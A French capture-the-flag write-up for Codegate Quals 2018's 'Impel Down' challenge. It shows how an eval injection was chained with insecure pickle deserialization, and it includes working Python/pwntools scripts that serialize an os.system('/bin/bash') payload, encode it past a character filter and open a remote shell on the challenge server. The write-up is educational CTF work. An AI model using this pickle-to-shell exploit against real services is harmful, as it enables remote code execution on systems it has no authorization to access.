Codegate quals 2018 - Impel Down (Misc)

Write-up pour le challenge Impel Down (misc) du Codegate Quals 2018, par switch pour BeerznHash.

Informations de connexion : ch41l3ng3s.codegate.kr 2014

On s’enregistre et on nous autorise à exécuter quelques commandes pour sortir de la prison : coworker, tool, dig bomb. En s’amusant un peu on remarque que l’on peut injecter du code (merci @thbz ;) )

On peut donc envoyer quelque chose comme ça : dig() and list ce qui ressemblera à ça eval(“your.dig() and list()”) et retournera une liste

On remarque que ce que renvoie eval() est passé en paramètre à pickle.loads(). C’est donc une deserialization non sécurisée car on peut injecter notre propre objet python. Je connaissais cette faille via un challenge disponible sur root-me.org. Des explications en détails sont disponibles ici :

Le payload ressemble à ça, c’est un objet sérialisé.

On remarque la présence de caractères non autorisés dans le code ce qui va nous compliquer la tache. Il faut donc faire en sorte de ne pas les utiliser. J’ai donc codé une fonction perso mais j’aurais du utiliser : “blabla”.encode(“hex”)

#!/usr/bin/python
#encoding:utf-8
import pwn
import os
import cPickle

class Exploit(object):
def __reduce__(self):
return (os.system, ('/bin/bash',))

shellcode = cPickle.dumps(Exploit())

payload = "".join([str((ord(char)))+"x" for char in shellcode])[:-1]
XEU = "''.join([chr(int(i)) for i in '"+payload+"'.split('x')])"

print XEU
print eval(XEU)

Qui une fois évalué redonne notre payload la chaîne évaluée ressemblera donc à : pickle.loads(eval(your.dig() and “payload” or list())) ou payload est notre objet sérialisé.

Ce qui marche parfaitement. Cependant dans les règles imposées pour ce chall l’entrée utilisateur était limité à 38 chars notre payload ne passera donc pas ..

C’est la ou j’ai perdu tout mon temps a essayé de trouvé un moyen d’envoyer plus de 38 chars. Une des règles disait “For 10 days you can enter 38 chars per day” je me suis donc dis qu’après 10 commandes on était plus restreint en taille : erreur après 10 jours chaque payload est droppé (je l’ai appris après en lisant les autres writes up)

(Une de mes autres erreurs et d’avoir voulu exécuter un wget sur mon serveur et non /bin/bash directement)

Post CTF

En lisant les autres writes up je me suis rendu compte que le payload devait être envoyé dans le champs Name. Ce qui nous permettrai d’avoir une variable que l’on contrôle entièrement, celle ci ne possédant aucune restriction.

La variable en question se nomme name, il suffisait donc de l’évaluer via l’injection de code précédente : eval(your.dig() and eval(name) or list())

#!/usr/bin/python
#encoding:utf-8
import pwn
import os
import cPickle

class Exploit(object):
def __reduce__(self):
return (os.system, ('/bin/bash',))

shellcode = cPickle.dumps(Exploit())

payload = "".join([str((ord(char)))+"x" for char in shellcode])[:-1]
XEU = "''.join([chr(int(i)) for i in '"+payload+"'.split('x')])"
# "equivalent" to shellcode.encode("hex") but home made ;)

server = "ch41l3ng3s.codegate.kr"
port = 2014

s = pwn.remote(server, port)

print s.recv()
s.sendline(XEU)
print s.recv()
print s.recv()
s.sendline("dig() and eval(name) or list")
s.interactive()